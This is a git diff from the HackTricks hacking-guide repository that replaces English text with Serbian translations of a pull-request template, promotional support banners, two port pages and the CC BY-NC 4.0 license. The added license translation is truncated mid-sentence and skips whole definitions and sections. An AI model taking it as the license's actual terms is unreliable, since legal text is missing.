diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md index 252293216..3a83ed8f3 100644 --- a/.github/pull_request_template.md +++ b/.github/pull_request_template.md @@ -1,4 +1,4 @@ -## Attribution -We value your knowledge and encourage you to share content. Please ensure that you only upload content that you own or have explicit permission to use from the original author. Your respect for intellectual property rights fosters a trustworthy and legal sharing environment for everyone. +## Pripisivanje +Cenimo vaše znanje i ohrabrujemo vas da delite sadržaj. Molimo vas da se uverite da samo otpremate sadržaj koji je vaš ili za koji imate izričitu dozvolu od originalnog autora. Vaše poštovanje intelektualnih prava podstiče pouzdano i legalno okruženje za deljenje za sve. -Thank you for contributing to HackTricks! +Hvala vam što doprinosite HackTricks-u! diff --git a/1911-pentesting-fox.md b/1911-pentesting-fox.md index 8a0fcba10..e90142604 100644 --- a/1911-pentesting-fox.md +++ b/1911-pentesting-fox.md @@ -2,19 +2,19 @@
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite videti **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzeti HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
-And more services: +I još usluga: ubiquiti-discover udp "Ubiquiti Networks Device" @@ -24,30 +24,4 @@ dht udp "DHT Nodes" ![](<.gitbook/assets/image (273).png>) -![](<.gitbook/assets/image (345) (2) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (3).png>) - -InfluxDB - -![](<.gitbook/assets/image (337).png>) - -![](<.gitbook/assets/image (338).png>) - -![](<.gitbook/assets/image (339).png>) - -![](<.gitbook/assets/image (340).png>) - -![](<.gitbook/assets/image (341).png>) - -
- -Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! - -Other ways to support HackTricks: - -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. - -
+![](<.gitbook/assets/image (345) (2) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) ( diff --git a/6881-udp-pentesting-bittorrent.md b/6881-udp-pentesting-bittorrent.md index cfeec6e71..e352bd232 100644 --- a/6881-udp-pentesting-bittorrent.md +++ b/6881-udp-pentesting-bittorrent.md @@ -1,16 +1,14 @@ - -
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
@@ -19,16 +17,14 @@ Other ways to support HackTricks:
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
- - diff --git a/LICENSE.md b/LICENSE.md index 3ed5e8e8d..af29716f3 100644 --- a/LICENSE.md +++ b/LICENSE.md @@ -1,204 +1,153 @@ - -
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite videti **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzeti HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
-Creative Commons License
Copyright © Carlos Polop 2021. Except where otherwise specified (the external information copied into the book belongs to the original authors), the text on HACK TRICKS by Carlos Polop is licensed under the Creative Commons Attribution-NonCommercial 4.0 International (CC BY-NC 4.0). +Creative Commons License
Autorsko pravo © Carlos Polop 2021. Osim ako nije drugačije navedeno (spoljni podaci kopirani u knjigu pripadaju originalnim autorima), tekst na HACK TRICKS od Carlos Polop-a je licenciran pod Creative Commons Attribution-NonCommercial 4.0 International (CC BY-NC 4.0). -License: Attribution-NonCommercial 4.0 International (CC BY-NC 4.0)
-Human Readable License: https://creativecommons.org/licenses/by-nc/4.0/
-Complete Legal Terms: https://creativecommons.org/licenses/by-nc/4.0/legalcode
-Formatting: https://github.com/jmatsushita/Creative-Commons-4.0-Markdown/blob/master/licenses/by-nc.markdown
+Licenca: Attribution-NonCommercial 4.0 International (CC BY-NC 4.0)
+Čitljiva Licenca: https://creativecommons.org/licenses/by-nc/4.0/
+Potpuni Pravni Uslovi: https://creativecommons.org/licenses/by-nc/4.0/legalcode
+Formatiranje: https://github.com/jmatsushita/Creative-Commons-4.0-Markdown/blob/master/licenses/by-nc.markdown
-# creative commons +# kreativne zajednice # Attribution-NonCommercial 4.0 International -Creative Commons Corporation (“Creative Commons”) is not a law firm and does not provide legal services or legal advice. Distribution of Creative Commons public licenses does not create a lawyer-client or other relationship. Creative Commons makes its licenses and related information available on an “as-is” basis. Creative Commons gives no warranties regarding its licenses, any material licensed under their terms and conditions, or any related information. Creative Commons disclaims all liability for damages resulting from their use to the fullest extent possible. +Korporacija Creative Commons ("Creative Commons") nije advokatska firma i ne pruža pravne usluge ili pravne savete. Distribucija Creative Commons javnih licenci ne stvara odnos advokata i klijenta ili drugi odnos. Creative Commons svoje licence i povezane informacije stavlja na raspolaganje "kakve jesu". Creative Commons ne daje nikakve garancije u vezi sa svojim licencama, materijalom licenciranim pod njihovim uslovima ili bilo kojim povezanim informacijama. Creative Commons se odriče svake odgovornosti za štetu nastalu njihovom upotrebom u najvećoj mogućoj meri. -## Using Creative Commons Public Licenses +## Korišćenje javnih licenci Creative Commons -Creative Commons public licenses provide a standard set of terms and conditions that creators and other rights holders may use to share original works of authorship and other material subject to copyright and certain other rights specified in the public license below. The following considerations are for informational purposes only, are not exhaustive, and do not form part of our licenses. +Javne licence Creative Commons pružaju standardni skup uslova koje autori i drugi nosioci prava mogu koristiti za deljenje originalnih autorskih dela i drugog materijala koji podleže autorskim pravima i određenim drugim pravima navedenim u javnoj licenci u nastavku. Sledeći razmatranja su samo informativne prirode, nisu iscrpna i ne čine deo naših licenci. -* __Considerations for licensors:__ Our public licenses are intended for use by those authorized to give the public permission to use material in ways otherwise restricted by copyright and certain other rights. Our licenses are irrevocable. Licensors should read and understand the terms and conditions of the license they choose before applying it. Licensors should also secure all rights necessary before applying our licenses so that the public can reuse the material as expected. Licensors should clearly mark any material not subject to the license. This includes other CC-licensed material, or material used under an exception or limitation to copyright. [More considerations for licensors](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensors). +* __Razmatranja za davaoce licence:__ Naše javne licence namenjene su onima koji su ovlašćeni da javnosti daju dozvolu za korišćenje materijala na načine koji su inače ograničeni autorskim pravima i određenim drugim pravima. Naše licence su neopozive. Davaoci licence treba da pročitaju i razumeju uslove licence koju biraju pre nego što je primene. Davaoci licence takođe treba da obezbede sva prava koja su neophodna pre primene naših licenci kako bi javnost mogla da ponovo koristi materijal kako se očekuje. Davaoci licence treba jasno da označe sav materijal koji nije obuhvaćen licencom. To uključuje drugi materijal licenciran pod CC licencom ili materijal koji se koristi pod izuzetkom ili ograničenjem autorskih prava. [Više razmatranja za davaoce licence](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensors). -* __Considerations for the public:__ By using one of our public licenses, a licensor grants the public permission to use the licensed material under specified terms and conditions. If the licensor’s permission is not necessary for any reason–for example, because of any applicable exception or limitation to copyright–then that use is not regulated by the license. Our licenses grant only permissions under copyright and certain other rights that a licensor has authority to grant. Use of the licensed material may still be restricted for other reasons, including because others have copyright or other rights in the material. A licensor may make special requests, such as asking that all changes be marked or described. Although not required by our licenses, you are encouraged to respect those requests where reasonable. [More considerations for the public](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensees). +* __Razmatranja za javnost:__ Korišćenjem jedne od naših javnih licenci, davalac licence daje javnosti dozvolu za korišćenje licenciranog materijala pod određenim uslovima. Ako dozvola davaoca licence nije potrebna iz bilo kog razloga - na primer, zbog primene bilo kog izuzetka ili ograničenja autorskih prava - tada to korišćenje nije regulisano licencom. Naše licence daju samo dozvole u okviru autorskih prava i određenih drugih prava koja davalac licence ima ovlašćenje da dodeli. Korišćenje licenciranog materijala može biti ograničeno iz drugih razloga, uključujući i zato što drugi imaju autorska prava ili druga prava na materijal. Davalac licence može postaviti posebne zahteve, kao što je traženje da se sve promene označe ili opišu. Iako to nije obavezno prema našim licencama, ohrabrujemo vas da poštujete te zahteve gde je to razumno. [Više razmatranja za javnost](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensees). # Creative Commons Attribution-NonCommercial 4.0 International Public License -By exercising the Licensed Rights (defined below), You accept and agree to be bound by the terms and conditions of this Creative Commons Attribution-NonCommercial 4.0 International Public License ("Public License"). To the extent this Public License may be interpreted as a contract, You are granted the Licensed Rights in consideration of Your acceptance of these terms and conditions, and the Licensor grants You such rights in consideration of benefits the Licensor receives from making the Licensed Material available under these terms and conditions. +Izvršavanjem Licenciranih Prava (definisanih u nastavku), prihvatate i slažete se da budete obavezani uslovima i odredbama ove Creative Commons Attribution-NonCommercial 4.0 International Public License ("Javna Licenca"). U meri u kojoj se ova Javna Licenca može tumačiti kao ugovor, Vi dobijate Licencirana Prava u zamenu za Vaše prihvatanje ovih uslova i odredbi, a Licencirajući Vam dodeljuje takva prava u zamenu za koristi koje Licencirajući dobija pružanjem Licenciranog Materijala dostupnog pod ovim uslovima i odredbama. -## Section 1 – Definitions. +## Sekcija 1 - Definicije. -a. __Adapted Material__ means material subject to Copyright and Similar Rights that is derived from or based upon the Licensed Material and in which the Licensed Material is translated, altered, arranged, transformed, or otherwise modified in a manner requiring permission under the Copyright and Similar Rights held by the Licensor. For purposes of this Public License, where the Licensed Material is a musical work, performance, or sound recording, Adapted Material is always produced where the Licensed Material is synched in timed relation with a moving image. +a. __Prilagođeni Materijal__ označava materijal koji podleže autorskim pravima i sličnim pravima i koji je izveden iz ili zasnovan na Licenciranom Materijalu i u kojem je Licencirani Materijal preveden, izmenjen, aranžiran, transformisan ili na drugi način izmenjen na način koji zahteva dozvolu u skladu sa autorskim pravima i sličnim pravima koja drži Licencirajući. U smislu ove Javne Licence, gde je Licencirani Materijal muzičko delo, izvođenje ili tonski zapis, Prilagođeni Materijal se uvek proizvodi kada se Licencirani Materijal sinhronizuje u vremenskom odnosu sa pokretnom +## Sekcija 2 - Obuhvat. -b. __Adapter's License__ means the license You apply to Your Copyright and Similar Rights in Your contributions to Adapted Material in accordance with the terms and conditions of this Public License. +a. ___Dodela licence.___ -c. __Copyright and Similar Rights__ means copyright and/or similar rights closely related to copyright including, without limitation, performance, broadcast, sound recording, and Sui Generis Database Rights, without regard to how the rights are labeled or categorized. For purposes of this Public License, the rights specified in Section 2(b)(1)-(2) are not Copyright and Similar Rights. +1. U skladu sa uslovima ove Javne licence, Davaoc licence ovim dodeljuje Vama širom sveta, besplatnu, ne sublicenciranu, neekskluzivnu, neopozivu licencu za vršenje Licenciranih prava nad Licenciranim materijalom radi: -d. __Effective Technological Measures__ means those measures that, in the absence of proper authority, may not be circumvented under laws fulfilling obligations under Article 11 of the WIPO Copyright Treaty adopted on December 20, 1996, and/or similar international agreements. +A. reprodukcije i deljenja Licenciranog materijala, u celini ili delimično, samo u nekomercijalne svrhe; i -e. __Exceptions and Limitations__ means fair use, fair dealing, and/or any other exception or limitation to Copyright and Similar Rights that applies to Your use of the Licensed Material. +B. proizvodnje, reprodukcije i deljenja Prilagođenog materijala samo u nekomercijalne svrhe. -f. __Licensed Material__ means the artistic or literary work, database, or other material to which the Licensor applied this Public License. +2. __Izuzeci i ograničenja.__ Radi izbegavanja nedoumica, gde se Izuzeci i ograničenja primenjuju na Vašu upotrebu, ova Javna licenca se ne primenjuje i nije potrebno da se pridržavate njenih uslova. -g. __Licensed Rights__ means the rights granted to You subject to the terms and conditions of this Public License, which are limited to all Copyright and Similar Rights that apply to Your use of the Licensed Material and that the Licensor has authority to license. +3. __Rok.__ Rok trajanja ove Javne licence je naveden u Odeljku 6(a). -h. __Licensor__ means the individual(s) or entity(ies) granting rights under this Public License. +4. __Mediji i formati; dozvoljene tehničke izmene.__ Davaoc licence Vam dozvoljava da vršite Licencirana prava u svim medijima i formatima, bilo da su poznati ili stvoreni u budućnosti, i da vršite tehničke izmene koje su neophodne za to. Davaoc licence odriče se i/ili se slaže da neće tvrditi bilo kakvo pravo ili ovlašćenje da Vam zabrani da vršite tehničke izmene koje su neophodne za vršenje Licenciranih prava, uključujući tehničke izmene koje su neophodne za zaobilaženje Efektivnih tehnoloških mera. U svrhu ove Javne licence, jednostavno vršenje izmena koje su odobrene ovim Odeljkom 2(a)(4) nikada ne proizvodi Prilagođeni materijal. -i. __NonCommercial__ means not primarily intended for or directed towards commercial advantage or monetary compensation. For purposes of this Public License, the exchange of the Licensed Material for other material subject to Copyright and Similar Rights by digital file-sharing or similar means is NonCommercial provided there is no payment of monetary compensation in connection with the exchange. +5. __Primalac dalje distribucije.__ -j. __Share__ means to provide material to the public by any means or process that requires permission under the Licensed Rights, such as reproduction, public display, public performance, distribution, dissemination, communication, or importation, and to make material available to the public including in ways that members of the public may access the material from a place and at a time individually chosen by them. +A. __Ponuda od Davaoca licence - Licencirani materijal.__ Svaki primalac Licenciranog materijala automatski dobija ponudu od Davaoca licence da vrši Licencirana prava u skladu sa uslovima ove Javne licence. -k. __Sui Generis Database Rights__ means rights other than copyright resulting from Directive 96/9/EC of the European Parliament and of the Council of 11 March 1996 on the legal protection of databases, as amended and/or succeeded, as well as other essentially equivalent rights anywhere in the world. +B. __Nema ograničenja dalje distribucije.__ Ne smete ponuditi ili nametnuti dodatne ili različite uslove ili ograničenja na Licencirani materijal, niti primenjivati Efektivne tehnološke mere na Licencirani materijal, ako to ograničava vršenje Licenciranih prava od strane bilo kog primaoca Licenciranog materijala. -l. __You__ means the individual or entity exercising the Licensed Rights under this Public License. Your has a corresponding meaning. +6. __Nema preporuke.__ Ništa u ovoj Javnoj licenci ne predstavlja ili se ne može tumačiti kao dozvola da tvrdite ili implicirate da ste Vi, ili da je Vaša upotreba Licenciranog materijala, povezana sa, ili sponzorisana, podržana ili dobila zvanični status od strane Davaoca licence ili drugih koji su određeni da prime priznanje kako je navedeno u Odeljku 3(a)(1)(A)(i). -## Section 2 – Scope. +b. ___Druga prava.___ -a. ___License grant.___ +1. Moralna prava, kao što je pravo na integritet, nisu licencirana ovom Javnom licencom, niti su licencirana prava na javnost, privatnost i/ili druga slična prava ličnosti; međutim, u najvećoj mogućoj meri, Davaoc licence odriče se i/ili slaže da neće tvrditi bilo kakva takva prava koja ima Davaoc licence, u meri koja je neophodna da Vam omogući vršenje Licenciranih prava, ali ne i drugačije. - 1. Subject to the terms and conditions of this Public License, the Licensor hereby grants You a worldwide, royalty-free, non-sublicensable, non-exclusive, irrevocable license to exercise the Licensed Rights in the Licensed Material to: +2. Patentna i trgovačka prava nisu licencirana ovom Javnom licencom. - A. reproduce and Share the Licensed Material, in whole or in part, for NonCommercial purposes only; and +3. U najvećoj mogućoj meri, Davaoc licence odriče se prava da od Vas naplati naknadu za vršenje Licenciranih prava, bilo direktno ili putem kolektivnog društva u okviru bilo koje dobrovoljne ili obavezne šeme licenciranja. U svim drugim slučajevima, Davaoc licence izričito zadržava pravo da naplati takvu naknadu, uključujući kada se Licencirani materijal koristi u druge svrhe osim nekomercijalnih. - B. produce, reproduce, and Share Adapted Material for NonCommercial purposes only. +## Sekcija 3 - Uslovi licence. - 2. __Exceptions and Limitations.__ For the avoidance of doubt, where Exceptions and Limitations apply to Your use, this Public License does not apply, and You do not need to comply with its terms and conditions. - - 3. __Term.__ The term of this Public License is specified in Section 6(a). +Vaše vršenje Licenciranih prava izričito je podložno sledećim uslovima. - 4. __Media and formats; technical modifications allowed.__ The Licensor authorizes You to exercise the Licensed Rights in all media and formats whether now known or hereafter created, and to make technical modifications necessary to do so. The Licensor waives and/or agrees not to assert any right or authority to forbid You from making technical modifications necessary to exercise the Licensed Rights, including technical modifications necessary to circumvent Effective Technological Measures. For purposes of this Public License, simply making modifications authorized by this Section 2(a)(4) never produces Adapted Material. - - 5. __Downstream recipients.__ +a. ___Pripisivanje.___ - A. __Offer from the Licensor – Licensed Material.__ Every recipient of the Licensed Material automatically receives an offer from the Licensor to exercise the Licensed Rights under the terms and conditions of this Public License. +1. Ako delite Licencirani materijal (uključujući u izmenjenom obliku), morate: - B. __No downstream restrictions.__ You may not offer or impose any additional or different terms or conditions on, or apply any Effective Technological Measures to, the Licensed Material if doing so restricts exercise of the Licensed Rights by any recipient of the Licensed Material. +A. zadržati sledeće, ako je dostavljeno od strane Davaoca licence uz Licencirani materijal: - 6. __No endorsement.__ Nothing in this Public License constitutes or may be construed as permission to assert or imply that You are, or that Your use of the Licensed Material is, connected with, or sponsored, endorsed, or granted official status by, the Licensor or others designated to receive attribution as provided in Section 3(a)(1)(A)(i). - -b. ___Other rights.___ +i. identifikaciju autora Licenciranog materijala i svih drugih koji su određeni da prime priznanje, na bilo koji razuman način koji je zatražen od strane Davaoca licence (uključujući pseudonim ako je određen); - 1. Moral rights, such as the right of integrity, are not licensed under this Public License, nor are publicity, privacy, and/or other similar personality rights; however, to the extent possible, the Licensor waives and/or agrees not to assert any such rights held by the Licensor to the limited extent necessary to allow You to exercise the Licensed Rights, but not otherwise. +ii. obaveštenje o autorskim pravima; - 2. Patent and trademark rights are not licensed under this Public License. +iii. obaveštenje koje se odnosi na ovu Javnu licencu; - 3. To the extent possible, the Licensor waives any right to collect royalties from You for the exercise of the Licensed Rights, whether directly or through a collecting society under any voluntary or waivable statutory or compulsory licensing scheme. In all other cases the Licensor expressly reserves any right to collect such royalties, including when the Licensed Material is used other than for NonCommercial purposes. - -## Section 3 – License Conditions. +iv. obaveštenje koje se odnosi na odricanje od garancija; -Your exercise of the Licensed Rights is expressly made subject to the following conditions. +v. URI ili hiperlink do Licenciranog materijala, koliko je razumno izvodljivo; -a. ___Attribution.___ +B. naznačiti ako ste izmenili Licencirani materijal i zadržati naznaku svih prethodnih izmena; i - 1. If You Share the Licensed Material (including in modified form), You must: +C. naznačiti da je Licencirani materijal licenciran prema ovoj Javnoj licenci i uključiti tekst ili URI ili hiperlink do ove Javne licence. - A. retain the following if it is supplied by the Licensor with the Licensed Material: +2. Možete zadovoljiti uslove iz Odeljka 3(a)(1) na bilo koji razuman način zasnovan na mediju, sredstvima i kontekstu u kojem delite Licencirani materijal. Na primer, može biti razumno zadovoljiti uslove pružanjem URI-ja ili hiperlinka do resursa koji sadrži potrebne informacije. - i. identification of the creator(s) of the Licensed Material and any others designated to receive attribution, in any reasonable manner requested by the Licensor (including by pseudonym if designated); +3. Ako to zatraži Davaoc licence, morate ukloniti bilo koje informacije koje su potrebne prema Odeljku 3(a)(1)(A), koliko je razumno izvodljivo. - ii. a copyright notice; +4. Ako delite Prilagođeni materijal koji ste proizveli, Licenca Adaptera koju primenjujete ne sme sprečiti primaoce Prilagođenog materijala da se pridržavaju ove Javne licence. - iii. a notice that refers to this Public License; +## Sekcija 4 - Sui Generis prava baze podataka. - iv. a notice that refers to the disclaimer of warranties; +Ako Licencirana prava uključuju Sui Generis prava baze podataka koja se odnose na Vašu upotrebu Licenciranog materijala: - v. a URI or hyperlink to the Licensed Material to the extent reasonably practicable; +a. radi izbegavanja nedoumica, Odeljak 2(a)(1) Vam dodeljuje pravo da izvučete, ponovo upotrebite, reprodukujete i delite celokupan ili značajan deo sadržaja baze podataka samo u nekomercijalne svrhe; - B. indicate if You modified the Licensed Material and retain an indication of any previous modifications; and +b. ako uključite celokupan ili značajan deo sadržaja baze podataka u bazu podataka u kojoj imate Sui Generis prava baze podataka, tada je baza podataka u kojoj imate Sui Generis prava baze podataka (ali ne i njeni pojedinačni sadržaji) Prilagođeni materijal; i - C. indicate the Licensed Material is licensed under this Public License, and include the text of, or the URI or hyperlink to, this Public License. +c. morate se pridržavati uslova iz Odeljka 3(a) ako delite celokupan ili značajan deo sadržaja baze podataka. - 2. You may satisfy the conditions in Section 3(a)(1) in any reasonable manner based on the medium, means, and context in which You Share the Licensed Material. For example, it may be reasonable to satisfy the conditions by providing a URI or hyperlink to a resource that includes the required information. +Radi izbegavanja nedoumica, ovaj Odeljak 4 dopunjuje i ne zamenjuje Vaše obaveze prema ovoj Javnoj licenci kada Licencirana prava uključuju druga autorska prava i slična prava. - 3. If requested by the Licensor, You must remove any of the information required by Section 3(a)(1)(A) to the extent reasonably practicable. +## Sekcija 5 - Odricanje od garancija i ograničenje odgovornosti. - 4. If You Share Adapted Material You produce, the Adapter's License You apply must not prevent recipients of the Adapted Material from complying with this Public License. +a. __Osim ako Davaoc licence posebno preuzme obavezu, u najvećoj mogućoj meri, Davaoc licence nudi Licencirani materijal "kakav jeste" i "kako je dostupan", i ne daje nikakve izjave ili garancije bilo koje vrste u vezi sa Licenciranim materijalom, bilo da su izričite, implicirane, zakons +## Sekcija 7 - Ostali uslovi i odredbe. -## Section 4 – Sui Generis Database Rights. +a. Izdavalac neće biti obavezan bilo kakvim dodatnim ili drugačijim uslovima ili odredbama koje su vam saopštene, osim ako izričito nije dogovoreno. -Where the Licensed Rights include Sui Generis Database Rights that apply to Your use of the Licensed Material: +b. Sve aranžmane, razumijevanja ili sporazume u vezi sa licenciranim materijalom koji nisu navedeni ovdje, treba smatrati odvojenim i nezavisnim od uslova ove javne licence. -a. for the avoidance of doubt, Section 2(a)(1) grants You the right to extract, reuse, reproduce, and Share all or a substantial portion of the contents of the database for NonCommercial purposes only; +## Sekcija 8 - Tumačenje. -b. if You include all or a substantial portion of the database contents in a database in which You have Sui Generis Database Rights, then the database in which You have Sui Generis Database Rights (but not its individual contents) is Adapted Material; and +a. Radi izbjegavanja nedoumica, ova javna licenca ne smanjuje, ne ograničava, ne restriktuje niti nameće uslove za bilo koju upotrebu licenciranog materijala koja bi se mogla zakonito obaviti bez dozvole prema ovoj javnoj licenci. -c. You must comply with the conditions in Section 3(a) if You Share all or a substantial portion of the contents of the database. +b. U najvećoj mogućoj mjeri, ako se utvrdi da je odredba ove javne licence neizvršiva, automatski će biti izmijenjena u minimalnoj mjeri potrebnoj da bi postala izvršiva. Ako se odredba ne može izmijeniti, bit će izuzeta iz ove javne licence, pri čemu se neće 